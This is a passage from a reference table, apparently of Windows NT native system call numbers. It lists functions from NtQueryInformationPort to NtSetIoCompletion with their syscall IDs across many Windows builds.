307 306 NtQueryInformationPort 0x0132 0x0135 0x0138 0x013e 0x0141 0x0143 0x0144 0x0145 0x0145 0x014b 0x014b 0x014b 0x014c 0x014c 0x0151 0x0152 0x0155 0x0155 0x0156 0x0157 0x0157
308 307 NtQueryInformationProcess 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019 0x0019
309 308 NtQueryInformationResourceManager 0x0133 0x0136 0x0139 0x013f 0x0142 0x0144 0x0145 0x0146 0x0146 0x014c 0x014c 0x014c 0x014d 0x014d 0x0152 0x0153 0x0156 0x0156 0x0157 0x0158 0x0158
310 309 NtQueryInformationThread 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025 0x0025
311 310 NtQueryInformationToken 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021 0x0021
312 311 NtQueryInformationTransaction 0x0134 0x0137 0x013a 0x0140 0x0143 0x0145 0x0146 0x0147 0x0147 0x014d 0x014d 0x014d 0x014e 0x014e 0x0153 0x0154 0x0157 0x0157 0x0158 0x0159 0x0159
313 312 NtQueryInformationTransactionManager 0x0135 0x0138 0x013b 0x0141 0x0144 0x0146 0x0147 0x0148 0x0148 0x014e 0x014e 0x014e 0x014f 0x014f 0x0154 0x0155 0x0158 0x0158 0x0159 0x015a 0x015a
314 313 NtQueryInformationWorkerFactory 0x0136 0x0139 0x013c 0x0142 0x0145 0x0147 0x0148 0x0149 0x0149 0x014f 0x014f 0x014f 0x0150 0x0150 0x0155 0x0156 0x0159 0x0159 0x015a 0x015b 0x015b
315 314 NtQueryInstallUILanguage 0x0137 0x013a 0x013d 0x0143 0x0146 0x0148 0x0149 0x014a 0x014a 0x0150 0x0150 0x0150 0x0151 0x0151 0x0156 0x0157 0x015a 0x015a 0x015b 0x015c 0x015c
316 315 NtQueryIntervalProfile 0x0138 0x013b 0x013e 0x0144 0x0147 0x0149 0x014a 0x014b 0x014b 0x0151 0x0151 0x0151 0x0152 0x0152 0x0157 0x0158 0x015b 0x015b 0x015c 0x015d 0x015d
317 316 NtQueryIoCompletion 0x0139 0x013c 0x013f 0x0145 0x0148 0x014a 0x014b 0x014c 0x014c 0x0152 0x0152 0x0152 0x0153 0x0153 0x0158 0x0159 0x015c 0x015c 0x015d 0x015e 0x015e
318 317 NtQueryIoRingCapabilities 0x015a 0x015d 0x015d 0x015e 0x015f 0x015f
319 318 NtQueryKey 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016 0x0016
320 319 NtQueryLicenseValue 0x013a 0x013d 0x0140 0x0146 0x0149 0x014b 0x014c 0x014d 0x014d 0x0153 0x0153 0x0153 0x0154 0x0154 0x0159 0x015b 0x015e 0x015e 0x015f 0x0160 0x0160
321 320 NtQueryMultipleValueKey 0x013b 0x013e 0x0141 0x0147 0x014a 0x014c 0x014d 0x014e 0x014e 0x0154 0x0154 0x0154 0x0155 0x0155 0x015a 0x015c 0x015f 0x015f 0x0160 0x0161 0x0161
322 321 NtQueryMutant 0x013c 0x013f 0x0142 0x0148 0x014b 0x014d 0x014e 0x014f 0x014f 0x0155 0x0155 0x0155 0x0156 0x0156 0x015b 0x015d 0x0160 0x0160 0x0161 0x0162 0x0162
323 322 NtQueryObject 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010 0x0010
324 323 NtQueryOpenSubKeys 0x013d 0x0140 0x0143 0x0149 0x014c 0x014e 0x014f 0x0150 0x0150 0x0156 0x0156 0x0156 0x0157 0x0157 0x015c 0x015e 0x0161 0x0161 0x0162 0x0163 0x0163
325 324 NtQueryOpenSubKeysEx 0x013e 0x0141 0x0144 0x014a 0x014d 0x014f 0x0150 0x0151 0x0151 0x0157 0x0157 0x0157 0x0158 0x0158 0x015d 0x015f 0x0162 0x0162 0x0163 0x0164 0x0164
326 325 NtQueryPerformanceCounter 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031 0x0031
327 326 NtQueryPortInformationProcess 0x013f 0x0142 0x0145 0x014b 0x014e 0x0150 0x0151 0x0152 0x0152 0x0158 0x0158 0x0158 0x0159 0x0159 0x015e 0x0160 0x0163 0x0163 0x0164 0x0165 0x0165
328 327 NtQueryQuotaInformationFile 0x0140 0x0143 0x0146 0x014c 0x014f 0x0151 0x0152 0x0153 0x0153 0x0159 0x0159 0x0159 0x015a 0x015a 0x015f 0x0161 0x0164 0x0164 0x0165 0x0166 0x0166
329 328 NtQuerySection 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051 0x0051
330 329 NtQuerySecurityAttributesToken 0x0141 0x0144 0x0147 0x014d 0x0150 0x0152 0x0153 0x0154 0x0154 0x015a 0x015a 0x015a 0x015b 0x015b 0x0160 0x0162 0x0165 0x0165 0x0166 0x0167 0x0167
331 330 NtQuerySecurityObject 0x0142 0x0145 0x0148 0x014e 0x0151 0x0153 0x0154 0x0155 0x0155 0x015b 0x015b 0x015b 0x015c 0x015c 0x0161 0x0163 0x0166 0x0166 0x0167 0x0168 0x0168
332 331 NtQuerySecurityPolicy 0x0149 0x014f 0x0152 0x0154 0x0155 0x0156 0x0156 0x015c 0x015c 0x015c 0x015d 0x015d 0x0162 0x0164 0x0167 0x0167 0x0168 0x0169 0x0169
333 332 NtQuerySemaphore 0x0143 0x0146 0x014a 0x0150 0x0153 0x0155 0x0156 0x0157 0x0157 0x015d 0x015d 0x015d 0x015e 0x015e 0x0163 0x0165 0x0168 0x0168 0x0169 0x016a 0x016a
334 333 NtQuerySymbolicLinkObject 0x0144 0x0147 0x014b 0x0151 0x0154 0x0156 0x0157 0x0158 0x0158 0x015e 0x015e 0x015e 0x015f 0x015f 0x0164 0x0166 0x0169 0x0169 0x016a 0x016b 0x016b
335 334 NtQuerySystemEnvironmentValue 0x0145 0x0148 0x014c 0x0152 0x0155 0x0157 0x0158 0x0159 0x0159 0x015f 0x015f 0x015f 0x0160 0x0160 0x0165 0x0167 0x016a 0x016a 0x016b 0x016c 0x016c
336 335 NtQuerySystemEnvironmentValueEx 0x0146 0x0149 0x014d 0x0153 0x0156 0x0158 0x0159 0x015a 0x015a 0x0160 0x0160 0x0160 0x0161 0x0161 0x0166 0x0168 0x016b 0x016b 0x016c 0x016d 0x016d
337 336 NtQuerySystemInformation 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036 0x0036
338 337 NtQuerySystemInformationEx 0x0147 0x014a 0x014e 0x0154 0x0157 0x0159 0x015a 0x015b 0x015b 0x0161 0x0161 0x0161 0x0162 0x0162 0x0167 0x0169 0x016c 0x016c 0x016d 0x016e 0x016e
339 338 NtQuerySystemTime 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a 0x005a
340 339 NtQueryTimer 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038 0x0038
341 340 NtQueryTimerResolution 0x0148 0x014b 0x014f 0x0155 0x0158 0x015a 0x015b 0x015c 0x015c 0x0162 0x0162 0x0162 0x0163 0x0163 0x0168 0x016a 0x016d 0x016d 0x016e 0x016f 0x016f
342 341 NtQueryValueKey 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017 0x0017
343 342 NtQueryVirtualMemory 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023 0x0023
344 343 NtQueryVolumeInformationFile 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049 0x0049
345 344 NtQueryWnfStateData 0x0149 0x014c 0x0150 0x0156 0x0159 0x015b 0x015c 0x015d 0x015d 0x0163 0x0163 0x0163 0x0164 0x0164 0x0169 0x016b 0x016e 0x016e 0x016f 0x0170 0x0170
346 345 NtQueryWnfStateNameInformation 0x014a 0x014d 0x0151 0x0157 0x015a 0x015c 0x015d 0x015e 0x015e 0x0164 0x0164 0x0164 0x0165 0x0165 0x016a 0x016c 0x016f 0x016f 0x0170 0x0171 0x0171
347 346 NtQueueApcThread 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045 0x0045
348 347 NtQueueApcThreadEx 0x014b 0x014e 0x0152 0x0158 0x015b 0x015d 0x015e 0x015f 0x015f 0x0165 0x0165 0x0165 0x0166 0x0166 0x016b 0x016d 0x0170 0x0170 0x0171 0x0172 0x0172
349 348 NtQueueApcThreadEx2 0x0167 0x0167 0x016c 0x016e 0x0171 0x0171 0x0172 0x0173 0x0173
350 349 NtRaiseException 0x014c 0x014f 0x0153 0x0159 0x015c 0x015e 0x015f 0x0160 0x0160 0x0166 0x0166 0x0166 0x0168 0x0168 0x016d 0x016f 0x0172 0x0172 0x0173 0x0174 0x0174
351 350 NtRaiseHardError 0x014d 0x0150 0x0154 0x015a 0x015d 0x015f 0x0160 0x0161 0x0161 0x0167 0x0167 0x0167 0x0169 0x0169 0x016e 0x0170 0x0173 0x0173 0x0174 0x0175 0x0175
352 351 NtReadFile 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006 0x0006
353 352 NtReadFileScatter 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e 0x002e
354 353 NtReadOnlyEnlistment 0x014e 0x0151 0x0155 0x015b 0x015e 0x0160 0x0161 0x0162 0x0162 0x0168 0x0168 0x0168 0x016a 0x016a 0x016f 0x0171 0x0174 0x0174 0x0175 0x0176 0x0176
355 354 NtReadRequestData 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054 0x0054
356 355 NtReadVirtualMemory 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f 0x003f
357 356 NtReadVirtualMemoryEx 0x0170 0x0172 0x0175 0x0175 0x0176 0x0177 0x0177
358 357 NtRecoverEnlistment 0x014f 0x0152 0x0156 0x015c 0x015f 0x0161 0x0162 0x0163 0x0163 0x0169 0x0169 0x0169 0x016b 0x016b 0x0171 0x0173 0x0176 0x0176 0x0177 0x0178 0x0178
359 358 NtRecoverResourceManager 0x0150 0x0153 0x0157 0x015d 0x0160 0x0162 0x0163 0x0164 0x0164 0x016a 0x016a 0x016a 0x016c 0x016c 0x0172 0x0174 0x0177 0x0177 0x0178 0x0179 0x0179
360 359 NtRecoverTransactionManager 0x0151 0x0154 0x0158 0x015e 0x0161 0x0163 0x0164 0x0165 0x0165 0x016b 0x016b 0x016b 0x016d 0x016d 0x0173 0x0175 0x0178 0x0178 0x0179 0x017a 0x017a
361 360 NtRegisterProtocolAddressInformation 0x0152 0x0155 0x0159 0x015f 0x0162 0x0164 0x0165 0x0166 0x0166 0x016c 0x016c 0x016c 0x016e 0x016e 0x0174 0x0176 0x0179 0x0179 0x017a 0x017b 0x017b
362 361 NtRegisterThreadTerminatePort 0x0153 0x0156 0x015a 0x0160 0x0163 0x0165 0x0166 0x0167 0x0167 0x016d 0x016d 0x016d 0x016f 0x016f 0x0175 0x0177 0x017a 0x017a 0x017b 0x017c 0x017c
363 362 NtReleaseCMFViewOwnership
364 363 NtReleaseKeyedEvent 0x0154 0x0157 0x015b 0x0161 0x0164 0x0166 0x0167 0x0168 0x0168 0x016e 0x016e 0x016e 0x0170 0x0170 0x0176 0x0178 0x017b 0x017b 0x017c 0x017d 0x017d
365 364 NtReleaseMutant 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020 0x0020
366 365 NtReleaseSemaphore 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a 0x000a
367 366 NtReleaseWorkerFactoryWorker 0x0155 0x0158 0x015c 0x0162 0x0165 0x0167 0x0168 0x0169 0x0169 0x016f 0x016f 0x016f 0x0171 0x0171 0x0177 0x0179 0x017c 0x017c 0x017d 0x017e 0x017e
368 367 NtRemoveIoCompletion 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009 0x0009
369 368 NtRemoveIoCompletionEx 0x0156 0x0159 0x015d 0x0163 0x0166 0x0168 0x0169 0x016a 0x016a 0x0170 0x0170 0x0170 0x0172 0x0172 0x0178 0x017a 0x017d 0x017d 0x017e 0x017f 0x017f
370 369 NtRemoveProcessDebug 0x0157 0x015a 0x015e 0x0164 0x0167 0x0169 0x016a 0x016b 0x016b 0x0171 0x0171 0x0171 0x0173 0x0173 0x0179 0x017b 0x017e 0x017e 0x017f 0x0180 0x0180
371 370 NtRenameKey 0x0158 0x015b 0x015f 0x0165 0x0168 0x016a 0x016b 0x016c 0x016c 0x0172 0x0172 0x0172 0x0174 0x0174 0x017a 0x017c 0x017f 0x017f 0x0180 0x0181 0x0181
372 371 NtRenameTransactionManager 0x0159 0x015c 0x0160 0x0166 0x0169 0x016b 0x016c 0x016d 0x016d 0x0173 0x0173 0x0173 0x0175 0x0175 0x017b 0x017d 0x0180 0x0180 0x0181 0x0182 0x0182
373 372 NtReplaceKey 0x015a 0x015d 0x0161 0x0167 0x016a 0x016c 0x016d 0x016e 0x016e 0x0174 0x0174 0x0174 0x0176 0x0176 0x017c 0x017e 0x0181 0x0181 0x0182 0x0183 0x0183
374 373 NtReplacePartitionUnit 0x015b 0x015e 0x0162 0x0168 0x016b 0x016d 0x016e 0x016f 0x016f 0x0175 0x0175 0x0175 0x0177 0x0177 0x017d 0x017f 0x0182 0x0182 0x0183 0x0184 0x0184
375 374 NtReplyPort 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c 0x000c
376 375 NtReplyWaitReceivePort 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b 0x000b
377 376 NtReplyWaitReceivePortEx 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b 0x002b
378 377 NtReplyWaitReplyPort 0x015c 0x015f 0x0163 0x0169 0x016c 0x016e 0x016f 0x0170 0x0170 0x0176 0x0176 0x0176 0x0178 0x0178 0x017e 0x0180 0x0183 0x0183 0x0184 0x0185 0x0185
379 378 NtRequestDeviceWakeup
380 379 NtRequestPort 0x015d 0x0160 0x0164 0x016a 0x016d 0x016f 0x0170 0x0171 0x0171 0x0177 0x0177 0x0177 0x0179 0x0179 0x017f 0x0181 0x0184 0x0184 0x0185 0x0186 0x0186
381 380 NtRequestWaitReplyPort 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022 0x0022
382 381 NtRequestWakeupLatency
383 382 NtResetEvent 0x015e 0x0161 0x0165 0x016b 0x016e 0x0170 0x0171 0x0172 0x0172 0x0178 0x0178 0x0178 0x017a 0x017a 0x0180 0x0182 0x0185 0x0185 0x0186 0x0187 0x0187
384 383 NtResetWriteWatch 0x015f 0x0162 0x0166 0x016c 0x016f 0x0171 0x0172 0x0173 0x0173 0x0179 0x0179 0x0179 0x017b 0x017b 0x0181 0x0183 0x0186 0x0186 0x0187 0x0188 0x0188
385 384 NtRestoreKey 0x0160 0x0163 0x0167 0x016d 0x0170 0x0172 0x0173 0x0174 0x0174 0x017a 0x017a 0x017a 0x017c 0x017c 0x0182 0x0184 0x0187 0x0187 0x0188 0x0189 0x0189
386 385 NtResumeProcess 0x0161 0x0164 0x0168 0x016e 0x0171 0x0173 0x0174 0x0175 0x0175 0x017b 0x017b 0x017b 0x017d 0x017d 0x0183 0x0185 0x0188 0x0188 0x0189 0x018a 0x018a
387 386 NtResumeThread 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052 0x0052
388 387 NtRevertContainerImpersonation 0x0162 0x0165 0x0169 0x016f 0x0172 0x0174 0x0175 0x0176 0x0176 0x017c 0x017c 0x017c 0x017e 0x017e 0x0184 0x0186 0x0189 0x0189 0x018a 0x018b 0x018b
389 388 NtRollbackComplete 0x0163 0x0166 0x016a 0x0170 0x0173 0x0175 0x0176 0x0177 0x0177 0x017d 0x017d 0x017d 0x017f 0x017f 0x0185 0x0187 0x018a 0x018a 0x018b 0x018c 0x018c
390 389 NtRollbackEnlistment 0x0164 0x0167 0x016b 0x0171 0x0174 0x0176 0x0177 0x0178 0x0178 0x017e 0x017e 0x017e 0x0180 0x0180 0x0186 0x0188 0x018b 0x018b 0x018c 0x018d 0x018d
391 390 NtRollbackRegistryTransaction 0x016c 0x0172 0x0175 0x0177 0x0178 0x0179 0x0179 0x017f 0x017f 0x017f 0x0181 0x0181 0x0187 0x0189 0x018c 0x018c 0x018d 0x018e 0x018e
392 391 NtRollbackSavepointTransaction
393 392 NtRollbackTransaction 0x0165 0x0168 0x016d 0x0173 0x0176 0x0178 0x0179 0x017a 0x017a 0x0180 0x0180 0x0180 0x0182 0x0182 0x0188 0x018a 0x018d 0x018d 0x018e 0x018f 0x018f
394 393 NtRollforwardTransactionManager 0x0166 0x0169 0x016e 0x0174 0x0177 0x0179 0x017a 0x017b 0x017b 0x0181 0x0181 0x0181 0x0183 0x0183 0x0189 0x018b 0x018e 0x018e 0x018f 0x0190 0x0190
395 394 NtSaveKey 0x0167 0x016a 0x016f 0x0175 0x0178 0x017a 0x017b 0x017c 0x017c 0x0182 0x0182 0x0182 0x0184 0x0184 0x018a 0x018c 0x018f 0x018f 0x0190 0x0191 0x0191
396 395 NtSaveKeyEx 0x0168 0x016b 0x0170 0x0176 0x0179 0x017b 0x017c 0x017d 0x017d 0x0183 0x0183 0x0183 0x0185 0x0185 0x018b 0x018d 0x0190 0x0190 0x0191 0x0192 0x0192
397 396 NtSaveMergedKeys 0x0169 0x016c 0x0171 0x0177 0x017a 0x017c 0x017d 0x017e 0x017e 0x0184 0x0184 0x0184 0x0186 0x0186 0x018c 0x018e 0x0191 0x0191 0x0192 0x0193 0x0193
398 397 NtSavepointComplete
399 398 NtSavepointTransaction
400 399 NtSecureConnectPort 0x016a 0x016d 0x0172 0x0178 0x017b 0x017d 0x017e 0x017f 0x017f 0x0185 0x0185 0x0185 0x0187 0x0187 0x018d 0x018f 0x0192 0x0192 0x0193 0x0194 0x0194
401 400 NtSerializeBoot 0x016b 0x016e 0x0173 0x0179 0x017c 0x017e 0x017f 0x0180 0x0180 0x0186 0x0186 0x0186 0x0188 0x0188 0x018e 0x0190 0x0193 0x0193 0x0194 0x0195 0x0195
402 401 NtSetBootEntryOrder 0x016c 0x016f 0x0174 0x017a 0x017d 0x017f 0x0180 0x0181 0x0181 0x0187 0x0187 0x0187 0x0189 0x0189 0x018f 0x0191 0x0194 0x0194 0x0195 0x0196 0x0196
403 402 NtSetBootOptions 0x016d 0x0170 0x0175 0x017b 0x017e 0x0180 0x0181 0x0182 0x0182 0x0188 0x0188 0x0188 0x018a 0x018a 0x0190 0x0192 0x0195 0x0195 0x0196 0x0197 0x0197
404 403 NtSetCachedSigningLevel 0x016e 0x0171 0x0176 0x017c 0x017f 0x0181 0x0182 0x0183 0x0183 0x0189 0x0189 0x0189 0x018b 0x018b 0x0191 0x0193 0x0196 0x0196 0x0197 0x0198 0x0198
405 404 NtSetCachedSigningLevel2 0x0177 0x017d 0x0180 0x0182 0x0183 0x0184 0x0184 0x018a 0x018a 0x018a 0x018c 0x018c 0x0192 0x0194 0x0197 0x0197 0x0198 0x0199 0x0199
406 405 NtSetContextThread 0x016f 0x0172 0x0178 0x017e 0x0181 0x0183 0x0184 0x0185 0x0185 0x018b 0x018b 0x018b 0x018d 0x018d 0x0193 0x0195 0x0198 0x0198 0x0199 0x019a 0x019a
407 406 NtSetDebugFilterState 0x0170 0x0173 0x0179 0x017f 0x0182 0x0184 0x0185 0x0186 0x0186 0x018c 0x018c 0x018c 0x018e 0x018e 0x0194 0x0196 0x0199 0x0199 0x019a 0x019b 0x019b
408 407 NtSetDefaultHardErrorPort 0x0171 0x0174 0x017a 0x0180 0x0183 0x0185 0x0186 0x0187 0x0187 0x018d 0x018d 0x018d 0x018f 0x018f 0x0195 0x0197 0x019a 0x019a 0x019b 0x019c 0x019c
409 408 NtSetDefaultLocale 0x0172 0x0175 0x017b 0x0181 0x0184 0x0186 0x0187 0x0188 0x0188 0x018e 0x018e 0x018e 0x0190 0x0190 0x0196 0x0198 0x019b 0x019b 0x019c 0x019d 0x019d
410 409 NtSetDefaultUILanguage 0x0173 0x0176 0x017c 0x0182 0x0185 0x0187 0x0188 0x0189 0x0189 0x018f 0x018f 0x018f 0x0191 0x0191 0x0197 0x0199 0x019c 0x019c 0x019d 0x019e 0x019e
411 410 NtSetDriverEntryOrder 0x0174 0x0177 0x017d 0x0183 0x0186 0x0188 0x0189 0x018a 0x018a 0x0190 0x0190 0x0190 0x0192 0x0192 0x0198 0x019a 0x019d 0x019d 0x019e 0x019f 0x019f
412 411 NtSetEaFile 0x0175 0x0178 0x017e 0x0184 0x0187 0x0189 0x018a 0x018b 0x018b 0x0191 0x0191 0x0191 0x0193 0x0193 0x0199 0x019b 0x019e 0x019e 0x019f 0x01a0 0x01a0
413 412 NtSetEvent 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e 0x000e
414 413 NtSetEventBoostPriority 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d 0x002d
415 414 NtSetEventEx 0x01a0 0x01a1 0x01a1
416 415 NtSetHighEventPair 0x0176 0x0179 0x017f 0x0185 0x0188 0x018a 0x018b 0x018c 0x018c 0x0192 0x0192 0x0192 0x0194 0x0194 0x019a 0x019c 0x019f 0x019f 0x01a1 0x01a2 0x01a2
417 416 NtSetHighWaitLowEventPair 0x0177 0x017a 0x0180 0x0186 0x0189 0x018b 0x018c 0x018d 0x018d 0x0193 0x0193 0x0193 0x0195 0x0195 0x019b 0x019d 0x01a0 0x01a0 0x01a2 0x01a3 0x01a3
418 417 NtSetIRTimer 0x0178 0x017b 0x0181 0x0187 0x018a 0x018c 0x018d 0x018e 0x018e 0x0194 0x0194 0x0194 0x0196 0x0196 0x019c 0x019e 0x01a1 0x01a1 0x01a3 0x01a4 0x01a4
419 418 NtSetInformationCpuPartition 0x01a2 0x01a2 0x01a4 0x01a5 0x01a5
420 419 NtSetInformationDebugObject 0x0179 0x017c 0x0182 0x0188 0x018b 0x018d 0x018e 0x018f 0x018f 0x0195 0x0195 0x0195 0x0197 0x0197 0x019d 0x019f 0x01a3 0x01a3 0x01a5 0x01a6 0x01a6
421 420 NtSetInformationEnlistment 0x017a 0x017d 0x0183 0x0189 0x018c 0x018e 0x018f 0x0190 0x0190 0x0196 0x0196 0x0196 0x0198 0x0198 0x019e 0x01a0 0x01a4 0x01a4 0x01a6 0x01a7 0x01a7
422 421 NtSetInformationFile 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027 0x0027
423 422 NtSetInformationIoRing 0x01a1 0x01a5 0x01a5 0x01a7 0x01a8 0x01a8
424 423 NtSetInformationJobObject 0x017b 0x017e 0x0184 0x018a 0x018d 0x018f 0x0190 0x0191 0x0191 0x0197 0x0197 0x0197 0x0199 0x0199 0x019f 0x01a2 0x01a6 0x01a6 0x01a8 0x01a9 0x01a9
425 424 NtSetInformationKey 0x017c 0x017f 0x0185 0x018b 0x018e 0x0190 0x0191 0x0192 0x0192 0x0198 0x0198 0x0198 0x019a 0x019a 0x01a0 0x01a3 0x01a7 0x01a7 0x01a9 0x01aa 0x01aa
426 425 NtSetInformationObject 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c 0x005c
427 426 NtSetInformationProcess 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c 0x001c
428 427 NtSetInformationResourceManager 0x017d 0x0180 0x0186 0x018c 0x018f 0x0191 0x0192 0x0193 0x0193 0x0199 0x0199 0x0199 0x019b 0x019b 0x01a1 0x01a4 0x01a8 0x01a8 0x01aa 0x01ab 0x01ab
429 428 NtSetInformationSymbolicLink 0x017e 0x0181 0x0187 0x018d 0x0190 0x0192 0x0193 0x0194 0x0194 0x019a 0x019a 0x019a 0x019c 0x019c 0x01a2 0x01a5 0x01a9 0x01a9 0x01ab 0x01ac 0x01ac
430 429 NtSetInformationThread 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d 0x000d
431 430 NtSetInformationToken 0x017f 0x0182 0x0188 0x018e 0x0191 0x0193 0x0194 0x0195 0x0195 0x019b 0x019b 0x019b 0x019d 0x019d 0x01a3 0x01a6 0x01aa 0x01aa 0x01ac 0x01ad 0x01ad
432 431 NtSetInformationTransaction 0x0180 0x0183 0x0189 0x018f 0x0192 0x0194 0x0195 0x0196 0x0196 0x019c 0x019c 0x019c 0x019e 0x019e 0x01a4 0x01a7 0x01ab 0x01ab 0x01ad 0x01ae 0x01ae
433 432 NtSetInformationTransactionManager 0x0181 0x0184 0x018a 0x0190 0x0193 0x0195 0x0196 0x0197 0x0197 0x019d 0x019d 0x019d 0x019f 0x019f 0x01a5 0x01a8 0x01ac 0x01ac 0x01ae 0x01af 0x01af
434 433 NtSetInformationVirtualMemory 0x0182 0x0185 0x018b 0x0191 0x0194 0x0196 0x0197 0x0198 0x0198 0x019e 0x019e 0x019e 0x01a0 0x01a0 0x01a6 0x01a9 0x01ad 0x01ad 0x01af 0x01b0 0x01b0
435 434 NtSetInformationWorkerFactory 0x0183 0x0186 0x018c 0x0192 0x0195 0x0197 0x0198 0x0199 0x0199 0x019f 0x019f 0x019f 0x01a1 0x01a1 0x01a7 0x01aa 0x01ae 0x01ae 0x01b0 0x01b1 0x01b1
436 435 NtSetIntervalProfile 0x0184 0x0187 0x018d 0x0193 0x0196 0x0198 0x0199 0x019a 0x019a 0x01a0 0x01a0 0x01a0 0x01a2 0x01a2 0x01a8 0x01ab 0x01af 0x01af 0x01b1 0x01b2 0x01b2
437 436 NtSetIoCompletion 0x0185 0x0188 0x018e 0x0194 0x0197 0x0199 0x019a 0x019b 0x019b 0x01a1 0x01a1 0x01a1 0x01a3 0x01a3 0x01a9 0x01ac 0x01b0 0x01b0 0x01b2 0x01b3 0x01b3
